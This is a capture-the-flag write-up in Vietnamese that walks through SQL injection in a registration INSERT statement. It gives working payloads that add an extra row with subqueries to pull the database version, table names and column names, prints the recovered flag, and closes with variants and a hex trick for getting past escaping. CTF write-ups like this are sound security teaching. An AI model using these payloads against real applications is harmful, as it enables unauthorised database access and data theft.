Lỗi sql injection với Insert khả năng cao sẽ ở phần đăng kí.

Fuzz lỗi:

- payload 1=2

username,password 🡪 char not authorized (lọc các kí tự đặc biệt)

vì mình thấy email có thể trả dữ liệu về từ ứng dụng nên sẽ tìm cách insert câu query nào đó để tìm flag.

Bắt đầu tấn công nào!

Payload: ‘ or updatexml(1,concat(0x7e,(version())),0) or ‘

email=Olivia ‘ or updatexml(1,concat(0x7e,(version())),0) or ‘

nếu thành công nó sẽ báo lỗi xpath syntax error ~5.5.35-0ubuntu0.12.04.1’

Bài toán thực hiện đc câu truy vấn nhưng chỉ hiển thị lỗi chung request failed.

Có lẽ không báo lỗi được. Vậy mình chỉ có thể truy suất dữ liệu qua email bằng select.

Mysql, ms sql, oracle cho thực hiện các câu truy vấn con trong Insert

Mình chỉ còn 1 cách duy nhất là thêm 2 users cùng 1 lúc.

Payload sẽ là:

xyz@gmail.com'),('tsu','abc',(select @@version))#

Kết quả: You can logged in ! , Email : 10.3.34-MariaDB-0ubuntu0.20.04.1

tìm table payload:

xyz@gmail.com'),('tsu1','abc',(select table\_name from information\_schema.tables where table\_schema=database() limit 0,1))#

tìm column trong table membres payload:

xyz@gmail.com'),('tsu2','abc',(select column\_name from information\_schema.columns where table\_name= 'membres' limit 0,1))#

Bây h bài toán đã trở nên dễ dàng hơn. Mình sẽ tìm bảng ,cột 🡪flag

flag: moaZ63rVXUhlQ8tVS7Hw

Mở rộng thêm: vẫn select email để truy suất dữ liệu, nhưng username có thể tiêm các kí tự đặc biệt thì payload sẽ dễ dàng hơn:

name','pass','sign')-- -

name1’,’pass1’,(select @@version))#

Nếu có hàm mysqli real\_escape\_string() sẽ không dùng nháy đơn được🡪mã hex